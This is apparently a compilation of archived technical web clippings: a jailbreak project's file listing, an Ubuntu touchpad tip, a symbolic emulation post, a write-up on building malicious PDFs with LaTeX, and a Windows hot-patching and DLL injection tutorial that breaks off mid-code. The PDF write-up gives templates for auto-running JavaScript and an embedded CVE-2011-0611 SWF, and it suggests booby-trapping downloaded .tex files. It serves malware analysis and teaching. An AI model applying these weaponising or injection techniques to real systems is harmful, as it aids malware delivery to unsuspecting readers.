\------------------------------------------------------ catalog: catalog.py:
ROP code and kernel exploit kcode.S: kernel payload chain: unused common:
common.h: \_log, \_assert, etc datautils: dmini.py: python interface to data
dejavu: gen\_dejavu.raw.py: FreeType exploit dsc: dsc.c: mount dyld shared
cache via fuse goo: goop.py: the "string with pointers, relocations, etc."
abstraction goo.py: doing ROP with the abstraction world1.py: specific gadgets
two.py: creating mach-o files with the abstraction headers: external headers
install: install.m: install the jailbreak locutus: locutus.c: download files /
communicate with locutus\_server / run install inject.c: inject a dylib into a
process locutus\_server.m: injected into SpringBoard mroib: unused otool:
patch to otool that supports "force ARM" mode starstuff: build-archive.sh:
build the saffron-jailbreak-xxx debian package mount\_nulls.c: do so upgrade-
data: unused

# Ubuntu: Automatically Disable TouchPad While Typing ~ Web Upd8: Ubuntu /
Linux blog

**Created:**| _1/24/2011 8:23:29 PM_  
---|---  
**Updated:**| _1/24/2011 8:23:40 PM_  
**Author:**| __  
**Tags:**| _Linux Ergo Desktop_  
  

syndaemon is a program that monitors keyboard activity and disables the
touchpad when the keyboard is being used. If you are using Ubuntu / Debian,
syndaemon should already be installed and all you have to do is type this in a
terminal to start it as a daemon:  

[code]

    syndaemon -d
    
[/code]

  
To set the time you want syndaemon to restore your keyboard, run this command:  

[code]

    syndaemon -i 4 -d
    
[/code]

  
  
Where "4" is the time between the period you stopped typing and when the
touchpad becomes active.  

  

Please note that I have noticed you need to kill syndaemon before changing
it's settings. So before specifying an option, kill it with:  

[code]

    killall syndaemon
    
[/code]

  
  
You can also specify syndaemon to only deactivate scrolling and tapping but
leave your mouse pointer active even if you type on your keyboard, by ysing
the "-t" option.  
  
To see everything syndaemon can do, use the man command:  

[code]

    man syndaemon
    
[/code]

  
  
The following example invokes syndaemon for 4 seconds after any keyboard
activity \(-i 4\), except when modifier keys such as Alt or Shift are used
\(-K\), and only disables tapping and scrolling \(-t\) for this period:  
  

[code]

    syndaemon -i 4 -d -t -K
    
[/code]

  
  
And a bonus. A bash script to toggle the touchpad on an off with a hotkey:  
  

[code]

    # toggle synaptic touchpad on/off
    
    # get current state
    SYNSTATE=$(synclient -l | grep TouchpadOff | awk '{ print $3 }')
    
    # change to other state
    if [ $SYNSTATE = 0 ]; then
    synclient touchpadoff=1
    elif [ $SYNSTATE = 1 ]; then
    synclient touchpadoff=0
    else
    echo "Couldn't get touchpad status from synclient"
    exit 1
    fi
    exit 0
    
[/code]

  
  
Save it in a file and call it whatever you want \(for instance
"toggle\_touchpad.sh"\), make the script executable \(chmod +x
toggle\_touchpad.sh\) and assign a hotkey for it \(for instance by using
CompizConfig Settings Manager, on the Commands options\).  

# Anatomy of a Symbolic Emulator, Part 2: Introducing Symbolic Data « Sean
Heelan's Blog

**Created:**| _4/7/2012 11:02:13 AM_  
---|---  
**Updated:**| _4/7/2012 11:02:13 AM_  
**Author:**| __  
**Tags:**| _binary instrumentation symbolic exec tracing_  
  

## Anatomy of a Symbolic Emulator, Part 2: Introducing Symbolic Data

March 23, 2012 by seanhn

In the previous post I discussed one way to go about gathering a trace for
emulation. In this I’m going to talk about how we go about emulating such a
trace, how and why we hook functions as they are emulated and how symbolic
operations are performed.

As before, this post is accompanied by a video which demonstrates the code in
action. Unlike the previous post I’ve decided to skip the paragraphs of
rambling and instead most of the info is in the actual video itself =\)

Topics covered:  
\- Introducing symbolic data via function hooks  
\- Performing computations on symbolic data

_\(You probably want to click the “Watch on YouTube” option on the bottom
right of the video and set the quality to 720p. Btw, near the end of the video
I said something along the lines of “one of the advantages of whitebox fuzzing
over symbolic emulation”. That makes no sense =\) What I meant to say was “one
of the advantages of whitebox fuzzing over normal symbolic execution”.\)_

# LaTeX Malicious PDF Generation - 9b+

**Created:**| _10/10/2011 1:03:59 PM_  
---|---  
**Updated:**| _10/10/2011 1:03:59 PM_  
**Author:**| __  
**Tags:**| _Malware-analysis Latex_  
  

## LaTeX Malicious PDF Generation

A couple weeks ago I came across a PDF file used in a targeted attack. I
didn't have too much background information, but it appeared to have came from
China and was using CVE2011-0611 to do its dirty work. The first thing that
caught my eye about this document was how the attackers did a half way decent
job of generating it. There was the normal obfuscation one would find in any
other file, but there was also the presence of /ObjStm sprinkled throughout
the document. Normally this isn't a big deal, but I know creating valid
/ObjStm by hand can be a pain in the ass, so I wanted to know how they did it.

Digging around led me to this little beauty. PDFWP showed up a few times in
the document and appeared to be the generator used. After visiting the site it
seemed to fit the profile - China being the first language with the support of
English as second and the use of LaTeX which produces clean documents. What
was interesting about this library was that attackers could be potentially
using it or modifying it to fit their needs. I thought there is no better way
to check something out then to rip it apart, find the underlying technology
and build a little working copy to generate my own documents.

Some notes before diving in - PDFWP uses LaTeX to generate the documents. On
the Google Code site I see no mention of "movie15", the library to embed
movies into a document nor do I see any mention of "\pdfobjcompresslevel"
which is used to define compression on streams \(so easy it makes me sick\),
so whoever generated the document may be using something slightly different,
or they just took my approach and spent a few hours reading about LaTeX to
produce the file. In any case, LaTeX makes life pretty easy to generate any
sort of PDF document and it is scary how well it works.

**Define .TEX Templates**

****

My first stab at this generation was to use the conventional JavaScript
exploits, but I had some issues with that. LaTeX uses the "\" for commands, so
when you attempt to throw in some "\x90" or other shellcode bits, it takes a
dump on itself. I didn't bother trying to work around this, but I know it is
possible to do so. Below is the template to generate a PDF file with an
OpenAction JavaScript action where all objects are compressed:

[code]

    \documentclass{article}
     \usepackage[pdftex]{insdljs}
     \pdfminorversion=5
     \pdfobjcompresslevel=3
     
     \OpenAction{\JS{%
     app.alert("9b");
     }}
     
     \begin{document}
     core content in here
     \end{document}
    
[/code]

I tend to get bored quickly so when that didn't work or became a pain I
decided to go back to the root of this whole project, flash exploits. For that
I needed some CVE2011-0611 SWF files which were kindly given to me by the
exploit Gods. I Googled around online and found a nice little write-up on how
to include flash into a PDF using LaTeX. A quick copy, some edits and
documentation reading helped me to produce this:

[code]

    \documentclass[12pt,landscape]{article}
     \usepackage{geometry}
     \pdfminorversion=5
     \pdfobjcompresslevel=3
     \geometry{verbose,letterpaper}
     \usepackage{movie15}
     \usepackage{hyperref}
     \begin{document}
     \begin{figure}[h!]
     \includemovie[
     autoplay=true
     ]{550pt}{400pt}{c.swf}
     \end{figure}
     \end{document}
    
[/code]

What you are looking at here is a LaTeX template very similar to the one
above, but with the addition of "\includemovie" and some parameters that
follow. These parameters essentially tell reader to auto play the SWF file
labeled "c.swf" \(this file is in the current directory when the generation is
done\). Again, also notice that objects are compressed at the highest level
resulting in little top level objects.

**Blending Time**

****

In the spoiled blog entry I had talked about existing documents and how I
could pack exploits into them using PHP. Unlike the PHP library, LaTeX
generated documents using that framed template you see above with a .TEX
extension. This made me a bit sad because it was unlikely that I was going to
modify any existing PDFs and then I thought of Google and their powerful
indexing. Doing a quick search for file type of ".tex" led me to over 500,000
files that could be downloaded and then modified to include the information
mentioned above.

To go one step further, I remembered the hack job of a downloader I wrote
called BigHands and that it could automate pulling down files at random based
on a passed in file extension. The download method is far from pretty, but
hey, it works. What should be used is urlib2 instead of hitting the system to
call wget, but in its current state, that is all I need.

**Testing and Wrap-up**

****

Both of these files seemed to do what they were supposed to do. The JavaScript
ran, but it was nothing complex and far from some sort of working exploit.
Like I said, I got bored with the errors and didn't want to spend too much
time working with the JavaScript stuff anyway. The SWF file on the other hand
did appear to embed nicely in the document and crashed my reader when running
in a sandbox. To get this to a fully working state you would likely need to
combine the two templates to have JavaScript handle the heapspray and the
flash exploit to trigger the crash. I'll leave this for someone else to do,
but both LaTeX should scare you and this is why:

Not encrypted CVE2011-0611:

http://www.virustotal.com/file-
scan/report.html?id=50a0678cdc30b872473925e6e2a6e95977a5e8736ffa28cb2069f2cb4ece3372-1318004587

Encrypted \(using peepdf\) CVE2011-0611:

http://www.virustotal.com/file-
scan/report.html?id=321244fb27843a53914140ebb4e10304d6b1eb253f0bde850b08484f992c8197-1318005714

I will let those results speak for themselves, but keep in mind the following:

  * little was done to add any extra obfuscation
  * existing TEX files could easily be modified to include the 2-4 lines of code to create an evil file
  * this was a known flash exploit and has been around for a bit

# Function Hooking and Windows Dll Injection \[Sisteme de Operare\]

**Created:**| _11/10/2011 3:10:41 PM_  
---|---  
**Updated:**| _11/10/2011 3:10:41 PM_  
**Author:**| __  
**Tags:**| _windows environment hooks dll-injection_  
  

# Function Hooking and Windows Dll Injection

In this tutorial I'll show you how to modify at runtime the behavior of
Windows programs.

## Function Hot Patching

**Problem** : we have a function, `foo()` and we want `bar()` to be called
instead.  
**Solutions** :

  1. modify the code, replace `foo()` with `bar()`, doh\!. Works when the source is available.
  2. write a library that exports a function with the same signature as `foo()`, which internally calls `bar()`. On Unix based systems use the `LD_PRELOAD` trick1\) to load the library before any other. On Windows, either place your library in the `System32` folder \(it must have the same name as the one exporting `foo()`\) or do the registry hack2\) to have it load instead. If `foo()` isn't available through a shared library, you're out of luck.

Here's a better solution: modify `foo()` at runtime by writing your code
inside it\!

asm break

Strictly speaking, you call a function by `push`-ing some stuff like the
arguments into the stack and then by executing `call _function address_`.
Since we're discussing C, when the function returns, you `pop` those arguments
from the stack to keep it from thrashing. For example \(this is debug code,
notice the sanity check at `00F9145E`\):

[code]

    printf("bar\n");
[/code]

|

[code]

    00F9144E: mov         esi,esp  
    00F91450: push        offset string "bar\n" (00F95744)  
    00F91455: call        dword ptr [__imp__printf (00F982E0)]  
    00F9145B: add         esp,4  
    00F9145E: cmp         esi,esp  
[/code]  
---|---  
The code at addresses `00F9144E` and `00F9145E` is inserted because of the
Debug flag enabled when compiling. At `00F91450` the argument \(string
`“bar\n”` \- actually an x86 4 byte pointer to the string\) is passed to
`printf()` through the stack and at `00F9145B` that argument is removed from
the stack \(it just tells the stack that it's “peak” lays lower with 4
bytes\). Remember that the stack starts at its maximum capacity address and
“grows” towards 0. At address `00F982E0` \(relative to the current process'
address space. If `printf()` comes from a shared library - as it's most likely
- then it's going to have a different address, aligned to that library's
address space\!\) within this process, expect to find all the might \(and
magic\) of `printf()`\!  

So simply take the code from `bar()` and write it on top of `foo()` with
`memmove()`-like logic. If `bar()` is significantly larger than `foo()` then
we might run into trouble by overwriting code residing in memory “after”
`foo()`. To avoid this unwanted effect, we'd have to “move” everything “after”
`foo()` to larger addresses, so that `bar()` fits without overwriting
anything. This is bad because multiple calls from outside to the code that is
shifted in the memory will break. We'd also have to patch those calls and
jumps, update them with the newer, bigger addresses, ending up with a
tremendous amount of work.  
Thankfully there's an easier hack through means of the unconditional jump -
`jmp _distance to destination_`. It works in the following way:  

[code]

    x    : jmp      dword ptr [y - (x + 5)]
    x + 5:
    .......................................
    y    : etc
[/code]

At first the Instruction Pointer is at offset `x` and execution goes through
the jump, next it's going to be at offset `y`, running whatever lies there.
The operand to this form of `jmp` is a 32 bit offset, a distance between the
“landing point” and the “jump point”. It can be negative.  
So we might run into less trouble by writing `jmp _distance between bar and
(foo + 5)_` immediately after the entry point of `foo()`.

### Basic Hot Patch Example

hotpatch.cpp

    
[code]

    #include <windows.h>
    #include <cstdio>
    using namespace std;
     
    const unsigned char OP_JMP = 0xE9;  // 32 bit relative jmp
    const SIZE_T SIZE_PATCH = 5;        // jmp dword ptr distance; 1 byte + 4 bytes
    typedef void (*MyProc)();
     
    void SimpleFunction1()
    {
        printf("foo\n");
    }
     
    void SimpleFunction2()
    {
        printf("bar\n");
    }
     
    int main()
    {
        PBYTE foo = reinterpret_cast<PBYTE>(SimpleFunction1);
        PBYTE bar = reinterpret_cast<PBYTE>(SimpleFunction2);
     
        DWORD oldProtection;
        // make sure the bytes of the function are writable
        // by default they are only readable and executable
        BOOL res = VirtualProtect(foo, SIZE_PATCH, PAGE_EXECUTE_READWRITE, &oldProtection);
        if (!res) return 1;
     
        // be mindful of pointer arithmetic
        // works with PBYTE, won't with PDWORD
        DWORD distanceToNewFoo = bar - foo - SIZE_PATCH;
     
        *foo = OP_JMP;
        *reinterpret_cast<PDWORD>(foo + 1) = distanceToNewFoo;
     
        // called though the pointer instead of foo()
        // to make sure the compiler won't inline or do some other stupid stuff
        reinterpret_cast<MyProc>(foo)(); // will print "bar\n"
        return 0;
    }
[/code]

An important thing to have in mind here, is that the conversion between
function pointer and `void *` \(`PVOID`, `PBYTE`, etc\) is illegal in both C
and C++3\), even though it works in Visual C and in GCC. For Linux check
mprotect\(\) instead of VirtualProtect\(\).

code as data

Since we're already on a rule-bending treadmill, know that the popular C++
compilers out there \(GCC 4.5, Visual C 2010 SP1\) directly complain when
trying to look at **member** function pointers as they were data pointers
\(`void *`\). Here's how I scrape that, just so that you have a hint \(this
code bends so many rules that it makes even lolcats weep\):

[code]

    void *DisMember(size_t size, ...)
    {
        // the pointer can be more complicated than a plain data pointer
        // think of virtual member functions, multiple inheritance, etc
        if (size != sizeof(void *)) return NULL;
        va_list args;
        va_start(args, size);
        void *res = va_arg(args, void *);
        va_end(args);
        return res;
    }
[/code]

Assuming I'm working my way towards `int MyClass::MemberFunction(float, const
char *)`, I use:

[code]

        int (MyClass::*pFunc)(float, const char *) = &MyClass::MemberFunction;
        void *pData = DisMember(pFunc);
        char *string = reinterpret_cast<char *>(pData); // watch and cringe!
[/code]

This works when you know for sure that `MemberFunction` is defined in
`MyClass`. You don't if you're fiddling around with virtual functions.  
Suspect that the compilers put a pointer to the virtual table as the first
bytes of any object, at least in simple cases of inheritance \(both deriving
from multiple classes and having a deeper inheritance chain qualify as non-
simple cases\):

[code]

    class Base
    {
        /* ... */
        public: virtual int Foo(float, float); /* first virtual member */
        /* ... */
        public: virtual float Bar(int, int); /* second virtual member */
        /* ... */
    };
    /* ... */
    class Derived : public Base { /* ... */ };
    /* ... */
     
        Derived *theObject;
        /* ... */
     
        // the first value inside theObject is a pointer to a vector
        // the vector contains the address of Foo() and the address of Bar()
        // now we assume that those values fit (void *)
        void *(*pVtable)[] = reinterpret_cast<void *(*)[]>(*reinterpret_cast<void **>(theObject));
     
        void *pFooAsAnything = (*pVtable)[0]; // Foo() is the first entry
        char *pBarAsString = reinterpret_cast<char *>((*pVtable)[1]);
[/code]

The following image is an attempt at showing a map of the code from
`hotpatch.cpp`. Keep in mind that the memory addresses from the left side are
fictional.  
<img src='img/Temp2_3324.png' alt='Hot patch memory schematic' />

  1. `foo()` is `02114B05 - 011A3518 = 00F715ED` bytes long, fits an `unsigned char[16193005]`. `bar()` is `0852AB24 - 0852AA02 = 00000122` bytes long, fits an `unsigned char[290]`.
  2. the idea is to inject an unconditional jump at the beginning of `foo()`, jump that will land at the first instruction of `bar()`.
  3. notice the distance between the expected “current” instruction within `foo()` at address `011A351D` and the “landing zone” in `bar()`, address `0852AA02`. We're talking about `0852AA02 - 011A351D = 073874E5` bytes across.
  4. the `E9` jump receives an immediate operand; that means the operand is within the code and the whole thing eats up 5 bytes, 1 for the opcode and 4 for the operand. That's why the execution jumps from `011A351D` and not directly from the beginning of `foo()`, at `011A3518`.

As an observation, both `statement n` and `statement m` are far `ret`s, opcode
= `CB`. For the example in the picture, the program would write `E9`, `E5`,
`74`, `38`, `07` just at the beginning of `foo()`.

  * `E9` is the opcode for far `jmp`. A far `jmp` receives an immediate 32 bit argument.
  * `E5`, `74`, `38`, `07` represent - due to endianness - the number `073874E5`, the argument.

As a rule, it's better to make sure the new function matches the old one in
both calling convention and return value + arguments.  

## Dll Injection

Now why would I go through the lengths of such useless \(but fun\) trickery? I
won't answer in this section, but it's required to fully grasp what will
follow.  
Under the Windows operating system, dll injection refers to executing foreign
code in a different process. Ever wondered how applications such as Fraps4\)
or RivaTuner5\) / MSI Aterburner6\) manage to display a framerate counter on
top of the currently running, full screen and exclusive mode D3D / OpenGL
application? Or how, something like Sockscap7\) manages to redirect an
application's traffic through the given proxy? Read on.

While the above applications take advantage of dll injection, keep in mind
that the “global hotkeys” functionality from programs such as foobar20008\) or
AutoHotkey9\) are implemented by means of a “cousin” method - via low level
keyboard hooks.

This is how one would run their code in a “parasited” process10\):

  1. with SetWindowsHookEx\(\). Installing **global hooks** , from dlls defining them, **is** dll injection at work. It's an OK method, explained here.
  2. with CreateRemoteThread\(LoadLibrary\(\)\). This is the _true_ dll injection.
  3. with WriteProcessMemory\(OurThreadProc\); CreateRemoteThread\(OurThreadProc\). This is so much in the true spirit of dll injection, that it's not even dll injection anymore, it's directly code injection\!

Here's the recipe for setting up a global Windows hook and getting your code
into `victim process`:

  1. think of a suitable criteria; for example when a window gets created. That type of event is called a `shell event` and it's hookable via SetWindowsHookEx\(WH\_SHELL, ShellProc\)
  2. write `myhook.dll` that defines and exports the above `ShellProc()`, see some steps below. For convenience, also export something like `InstallHook()` from that dll, and within the code add the call to `SetWindowsHookEx()`.
  3. write a “launcher” program, that will call once the `InstallHook()` function defined in our dll and then just wait \(if it unloads, probably Windows will also unload the dll, unless special measures are taken, resulting in crashes\)
  4. `ShellProc()` will get called by the system everytime the specific event - a shell event in our case - is to be received by the application. Its code will run in that application's address space\!

Watch the following picture if you don't believe:  
<img src='img/Temp2_3328.png' alt='WH_SHELL diagram' />

  1. normally, an event is dispatched to the message loop of the receiving thread, and the message loop further sends that message within the thread to a “proper” handler
  2. `myhook.dll` registers, system-wide, `ShellProc()` as an interceptor of shell events \(out of which `WM_CREATE`\). Now the message goes through the code from `ShellProc()` and only after processing it's \(not even necessary, only because I'm too kind\) forwarded to the shell handler in the original event loop.

# A Practical Example

I like playing my games in windowed mode. Inspired by Media Player Classic
Homecinema's11\) borderless always on top window mode, I thought to myself how
cool would it be to have any game's window borderless and always on top of the
other windows. A game's window usually contains either `WS_CAPTION` or
`WS_THICKFRAME` window styles. Making it borderless is a simple matter of
retrieving its style \(GetWindowLong\(GWL\_STYLE\)\), removing \(toggling\),
by means of `XOR`, the relevant style and then applying the result on the
window handle SetWindowLong\(GWL\_STYLE\).

## Removing The Window Decorations

As a first attempt I created a simple one-shot console application that
targeted the Heroes of Newerth window, removing the `WS_CAPTION` style, as
reported by Spy++.

<img src='img/Temp2_3325.png' width='640' alt='Heroes of Newerth window
styles' />

Borderless1.cpp

    
[code]

    #include <cstdio>
    using namespace std;
    #include <windows.h>
     
    int main()
    {
        bool done  =  false;
        // finish when 'q' is entered
        while (!done) {
            HWND hwnd = FindWindow(NULL, TEXT("Heroes of Newerth"));
            if (NULL != hwnd) {
                LONG styles = GetWindowLong(hwnd,  GWL_STYLE);
                if (0 != styles) {
                    styles ^= WS_CAPTION;
                    LONG result = SetWindowLong(hwnd, GWL_STYLE, styles);
                }
            }
            char c;
            scanf("%c", &c);
            if ('q' == c)
                done = true;
        }
        return 0;
    }
[/code]

<img src='img/Temp2_3326.png' width='640' alt='Heroes of Newerth borderless'
/>

You can observe 2 problems in the current approach:

  1. the window is now blurry
  2. the mouse hover effect is registered a few pixels off

The blurriness problem happens because after removing the decorations
\(titlebar, dialog borders\), Windows tries to maintain the program window
within the same bounding rectangle. In doing so, it “inflates” the client area
by a few pixels in each direction, pixels obtained from removing said
decorations. Indeed, counting the pixels from the first picture, we get a
total window area \(including borders\) of 1616×858 and a client area \(only
the Direct3D part from within the borders where the application draws its
updates\) of 1600×820 pixels. For the second picture, we have a window area
equal to the client area \(no more borders\) of 1606×848 pixels. Since Heroes
of Newerth has a dialog frame \(non-sizeable\), it doesn't treat `WM_SIZE`
messages; the Direct3D context keeps rendering at the initial config file
resolution and the resulting frame buffer gets drawn, with stretching, on top
of a sligthly different window area so we don't have a perfect ”\(logical
\)pixel-on-\(screen \)pixel” mapping anymore.  
Note my config file for the game:

[code]

    //snip
    SetSave "vid_resolution" "1600,820"
    //snip
[/code]

Here's a fix for keeping the client area of the window in place during the
style change:  

Borderless2.cpp

    
[code]

    #include <cstdio>
    using namespace std;
    #include <windows.h>
     
    int main()
    {
        bool done  =  false;
        while (!done) {
            HWND hwnd = FindWindow(NULL, TEXT("Heroes of Newerth"));
            if (NULL != hwnd) {
                LONG styles = GetWindowLong(hwnd,  GWL_STYLE);
                if (0 != styles) {
                    styles ^= WS_CAPTION;
     
                    bool deflate = 0 == (styles & WS_CAPTION);
                    RECT rc;
                    GetWindowRect(hwnd, &rc);
     
                    int captionHeight = GetSystemMetrics(SM_CYCAPTION);
                    int borderWidth = GetSystemMetrics(SM_CXDLGFRAME);
                    int borderHeight = GetSystemMetrics(SM_CYDLGFRAME);
     
                    if (deflate) {
                        rc.left += borderWidth;
                        rc.right -= borderWidth;
                        rc.top += captionHeight + borderHeight;
                        rc.bottom -= borderHeight;
                    }
                    else {
                        rc.left -= borderWidth;
                        rc.right += borderWidth;
                        rc.top -= captionHeight + borderHeight;
                        rc.bottom += borderHeight;
                    }
                    LONG result = SetWindowLong(hwnd, GWL_STYLE, styles);
                    if (0 != result)
                        SetWindowPos(hwnd, NULL,
                            rc.left, rc.top,
                            rc.right - rc.left, rc.bottom - rc.top,
                            SWP_FRAMECHANGED);
                }
            }
            char c;
            scanf("%c", &c);
            if ('q' == c)
                done = true;
        }
        return 0;
    }
[/code]

A process such as Starcraft 2 owns a window with the `WS_THICKFRAME` style
denoting a sizing border. If I change the code to remove that style from the
Starcraft 2 main window \(also `SM_C?THICKFRAME` instead of `SM_C?DLGFRAME`, I
can only notice the mouse hover effect being off - the game catches `WM_SIZE`
messages and adjusts the framebuffer accordingly.  

## Fixing The Mouse Behavior

For the broken mouse hover effect it's time to put The Injection to use\!
Among the usual suspects for this problem are the window rectangle functions
GetWindowRect\(\) and GetClientRect\(\). It would make sense, due to the fact
that games usually obtain mouse events through DirectInput, that initially
mouse coordinates are expressed in desktop-absolute form, and not relative to
the application window. Therefore they'd have to employ, in one form or
another a conversion between screen \(absolute\) coordinates and window
coordinates in a similar manner to the operation of ClientToScreen\(\).  
Let's take a look at an application window and the `Get?Rect()` logic relating
to it:  
<img src='img/Temp2_3327.png' width='640' alt='Window rectangles' />

What the game does when handling mouse input is obtain some absolute screen
coordinates from DirectInput, convert them to window coordinates, then
**compensate** for the window title and borders and then figure out what to do
next with the event. Note that after removing the window decorations, both
`GetWindowRect()` and `GetClientRect()` return the same coordinates. Then the
game compensates by subtracting the expected widths and heights of borders,
resulting in slightly off readings for the events. The idea here is to modify
at run-time `GetWindowRect()` so that it returns the old rectangle, with
titlebar and borders, as if the window style still contained those elements.

The basic workflow for detouring `GetWindowRect()` is:

  1. insert exactly at the beginning of the function a `jmp` to our `GetWindowRect()`; hot patch it
  2. in our `GetWindowRect()` restore the code of the original function
  3. call the original function and save the result
  4. modify that result so that it fits our agenda
  5. hot patch `GetWindowRect()` again
  6. return the now modified result

# 32 Bit Versus 64 Bit

Special care should be taken when moving to x86-64.

## Hot Patching

While the previous approach for hot patching a function \(via relative `jmp`\)
is generally OK even in 64 bit mode, there could be rare occasions when the
distance between the _patched_ function and the original one can't be
expressed on only 32 bits. Since the specific form of `jmp` used expects a 32
bit displacement, it would be useless in this case.

The suggested solution here is a 64 bit absolute jump, which comes by default
with x86-6412\). The idea here is just slightly different than in the case of
plain x86. While `jmp` accepted there as argument an immediate displacement,
the x86-64 long jump functions through an indirect register. So we'd simply
load the destination address \(not a “distance” any more for this
instruction\) into a register and pass that register as the operand to the
`jmp`. Fortunately, x86-64 states that the special 64-bit registries `r10` and
`r11` aren't preserved between `call` opcodes, so picking `r11` is a safe bet
and guaranteed not to ruin the program flow.

## Dll Injection

One can't insert an image compiled for 32 bits inside a 64 bit process and
can't inject a 64 bit dll inside a 32 bit process. The idea is to have 2
separate programs making the dll injection, 2 versions of the dll, each of
them for 64 bits and, respectively, for 32 bits. The 32 bit injector should
set up the hooks as usual and launch a light weight version of itself that
only sets up the hook and waits for an end event.

Loader:  

[code]

        TCHAR path[MAX_PATH];
        DWORD len = GetModuleFileName(NULL, path, MAX_PATH);
        while (path[len - 1] != '\\') --len;
        MoveMemory(path + len, TEXT("Deframe64.dat"), sizeof(TCHAR) * (lstrlen(TEXT("Deframe64.dat")) + 1));
        STARTUPINFO siDeframe64 = {sizeof(STARTUPINFO)};
        PROCESS_INFORMATION piDeframe64;
        BOOL bRes = CreateProcess(0, path, NULL, NULL, TRUE, 0, NULL, NULL, &siDeframe64, &piDeframe64);
        if (bRes) WaitForInputIdle(piDeframe64.hProcess, INFINITE);
     
        InstallHook();
[/code]

Deframe64.cpp

    
[code]

    #include <windows.h>
    #include "DeframeHelper.h"
     
    int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
    {
        InstallHook();
        // main message loop:
        MSG msg;
        while (GetMessage(&msg, NULL, 0, 0) && WM_QUIT != msg.message) {
            TranslateMessage(&msg);
            DispatchMessage(&msg);
        }
        RemoveHook();
        return static_cast<int>(msg.wParam);
    }
[/code]

The first fragment of code, residing in the normal 32 bit “injector” process
first spawns a 64 bit child, our “Deframe64.dat”. They both perform the same
main function at this stage - calling `InstallHook()` which is exported by the
“guest” dll. I've messed with the output of Deframe64 so that it has the
extension `.dat`; this is only an aesthetic step so that the user doesn't
accidentally launch the useless and with no means of terminating 64 bit
process. On 32 bit systems `CreateProcess()` will fail and I simply ignore
everything involving it.  
Here's how the 32 bit injector terminates the 64 bit one:

[code]

        if (bRes) ::PostThreadMessage(piDeframe64.dwThreadId, WM_QUIT, 0, 0);
[/code]

<img src='img/Temp2_3329.png' width='512' alt='32 bit guest and 64 bit stub'
/>

# The Visual Studio 2010 Solution

All the required code can be found here. Note that the project files won't
work with the Express version of Visual Studio, due to the main program -
`Deframe` being written with `MFC`.  
For a binary build, see this archive.  
The solution uses a C-like approach for the Injection.

## A C++ Template Library \(for the impatient\)

This code is not for the faint of heart, C++ 2003 \(talking about Microsoft
Visual C 2010 here, variadic template support\) template code to simplify the
hotpatching. Include it and use it as exemplified further below \(it's not
included in the source download\).  

HotPatch.hpp

    
[code]

    #pragma once
     
    #include <windows.h>
     
    // HotPatch is a thin wrapper on top of the function hot patching layer.
    // It encapsulates a way to replace known functions with own functions by means of patching in jmps in both x86 and x86-64.
    // The basic workflow is:
    //    1. Declare HotPatch::function<ftype> thePatch; assign target to this object with thePatch = target
    //    2. set a replacement callback with thePatch.SetPatch(myTarget)
    //    3. call thePatch.Apply() to replace the target with the other callback
    //    In the replacement procedure:
    //        3.1. do your stuff
    //        3.2. call  thePatch(arguments)
    //        3.3. do other stuff
    //    When done:
    //    4. restore the opcodes with thePatch.RemovePatch()
    //    5. the destructor or assigning a new function to thePatch will restore the protection status of the memory referred by target
    // Limitations:
    //    won't work with variadic functions (blame C)
    namespace HotPatch {
        class Exception
        {
        };
     
        class MemoryException : public Exception
        {
        };
     
        class PatchException : public Exception
        {
        };
     
        template <typename FType>
        class function_impl
        {
        public:
            function_impl() :
                _pFun(NULL),
                _pPatch(NULL),
                _detoured(false)
            {
            }
     
            ~function_impl()
            {
                _RestoreProtection();
            }
     
            // res = function_impl<FType>::IsPatched() tells whether a call to the target will run the target or the hook.
            // Return value:
            //    bool res    - true if ApplyPatch() has been called without an accompanying RemovePatch().
            bool IsPatched()
            {
                return _detoured;
            }
     
            // function_impl<FType>::operator=(pFun) directs the patch to a target and prepares the target memory for writes.
            // Parameters:
            //    FType *pFun    - the function to patch (see Apply()).
            // Throws:
            //    MemoryException - when changing the protection of the page where pFun points is impossible.
            void operator=(FType *pFun)
            {
                _RestoreProtection();
                _pFun = pFun;
                if (NULL == _pFun) return;
                BOOL res = VirtualProtect(_pFun, _64bit ? _PATCH_LENGTH64 : _PATCH_LENGTH32, PAGE_EXECUTE_READWRITE, &_oldProtection);
                if (!res) throw MemoryException();
            }
     
            // function_impl<FType>::SetPatch(patch[, alwaysUse32Bit]) prepares internal state for the patch.
            // Parameters:
            //    FType *patch        - the patch to use instead of pFun (see operator=(FType *)).
            //    bool alwaysUse32Bit    - If true, a 32 bit jmp is always inserted.
            //        Else, the best jmp is determined based on necessities (can still be 32 bit if it fits).
            // Throws:
            //    PatchException        - if patch is NULL.
            void SetPatch(FType *patch, bool alwaysUse32Bit = false)
            {
                if (NULL == patch)
                    throw PatchException();
                if (NULL != _pPatch)
                    RemovePatch();
                _pPatch = patch;
     
                _64bit = !alwaysUse32Bit;
                // they haven't expressed mandatory 32 bit only path; try to guess the best path
                if (_64bit) {
                    LONGLONG jumpDistance =
                        reinterpret_cast<LONGLONG>(_pPatch) -
                        reinterpret_cast<LONGLONG>(_pFun) -
                        _PATCH_LENGTH32;
                    if (abs(jumpDistance) > 0x7FFFFFFF) // the jump is too long to fit a regular 32 bit relative jmp
                        _64bit = true;
                    else
                        _64bit = false;
                }
     
                // save the old patch opcodes
                // plain old for is faster; DO NOT call any library functions!
                for (SIZE_T i = 0; i < (_64bit ? _PATCH_LENGTH64 : _PATCH_LENGTH32); ++i)
                    *(_backup + i) = *(reinterpret_cast<PBYTE>(_pFun) + i);
            }
     
            // function_impl<FType>::ApplyPatch() makes pFun (see operator=(FType *)) jmp to patch (see SetPatch(FType *, bool)).
            // This is the actual hot patch mechanism at work.
            void ApplyPatch()
            {
                if (_64bit) {
                    // movabs
                    *reinterpret_cast<PBYTE>(_pFun) = _OP_MOVABS;
                    // r11
                    *(reinterpret_cast<PBYTE>(_pFun) + 1) = _R11_WRITE;
                    // _detourProc
                    *reinterpret_cast<PLONGLONG>(reinterpret_cast<PBYTE>(_pFun) + 2) = reinterpret_cast<LONGLONG>(_pPatch);
                    // jmp
                    *reinterpret_cast<PWORD>(reinterpret_cast<PBYTE>(_pFun) + 10) = _OP_JMP64;
                    // abs r11
                    *(reinterpret_cast<PBYTE>(_pFun) + 12) = _R11_JMP;
                }
                else {
                    // jmp
                    *reinterpret_cast<PBYTE>(_pFun) = _OP_JMP32;
                    // distance left to _detourProc
                    *reinterpret_cast<PDWORD>(reinterpret_cast<PBYTE>(_pFun) + 1) = static_cast<DWORD>(
                        reinterpret_cast<PBYTE>(_pPatch) -
                        reinterpret_cast<PBYTE>(_pFun) -
